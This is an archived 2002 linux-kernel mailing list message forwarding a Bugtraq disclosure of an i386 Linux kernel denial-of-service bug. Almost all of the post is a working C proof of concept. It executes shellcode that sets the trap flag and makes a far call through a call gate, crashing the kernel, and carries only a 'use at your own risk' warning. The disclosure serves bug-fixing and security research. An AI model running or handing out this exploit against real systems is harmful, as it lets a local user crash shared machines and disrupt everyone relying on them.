FW: i386 Linux kernel DoS

From: Leif Sawyer (lsawyer@gci.com)
Date: Tue Nov 12 2002 - 18:28:55 EST


This was posted on bugtraq today...

-----Original Message-----
From: Christophe Devine
Sent: Monday, November 11, 2002 11:26 AM
To: bugtraq@securityfocus.com
Subject: i386 Linux kernel DoS

/* USE AT YOUR OWN RISK ! */

int main( void )
{
    char dos[] = "\x9C" /* pushfd */
                 "\x58" /* pop eax */
                 "\x0D\x00\x01\x00\x00" /* or eax,100h */
                 "\x50" /* push eax */
                 "\x9D" /* popfd */
                 "\x9A\x00\x00\x00\x00\x07\x00"; /* call 07h:00h */

    void (* f)( void );

    f = (void *) dos; (* f)();

    return 1;
}
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/



This archive was generated by hypermail 2b29 : Fri Nov 15 2002 - 22:00:27 EST